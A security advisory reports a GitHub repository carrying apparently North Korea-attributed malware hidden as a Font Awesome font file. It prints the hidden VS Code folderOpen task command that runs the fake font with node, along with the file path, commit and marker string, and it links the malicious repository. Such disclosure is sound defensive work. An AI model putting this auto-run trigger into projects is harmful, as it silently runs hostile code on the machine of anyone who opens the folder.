GCVE-110-OSM-2026-14653

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published September 26, 2026

GitHub repository carrying DPRK PolinRider malware: health_multi/public/fonts/fa-solid-900.woff2. Opening the folder in VS Code or running its CI executes the payload. === DPRK PolinRider fake-font payload === Malicious payload found in: health_multi/public/fonts/fa-solid-900.woff2 Commit: ab5b675872d56a144155c5d26e287fa1b9b434df Marker: global['!']='9-7764' Obfuscated JavaScript disguised as a Font Awesome webfont (DPRK-attributed PolinRider kit). Trigger: .vscode/tasks.json hidden folderOpen task runs: (command -v node >/dev/null 2>&1 && node ./health_multi/public/fonts/fa-solid-900.woff2) || (where node >nul 2>&1 && node ./health_multi/public/fonts/fa-solid-900.woff2) || echo ''

Download JSON Look up in the Resolve Platform

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown		all (affected)	—

References

Malicious repository: https://github.com/zubairislam200/chatbot

advisory

Browse GCVE Records

1,063 records in the GCVE database · Updated November 5, 2026

No matching records found.

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

Look up in the Resolve Platform Download JSON